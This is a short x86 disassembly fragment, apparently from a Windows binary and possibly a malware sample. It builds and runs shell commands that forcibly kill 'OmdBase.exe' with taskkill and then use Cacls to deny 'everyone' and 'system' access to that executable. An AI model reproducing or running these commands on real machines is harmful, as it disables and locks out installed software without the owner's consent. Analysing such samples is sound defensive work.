push 1
mov eax, str.OmdBase.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43a438
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_OmdBase.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.System.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43a569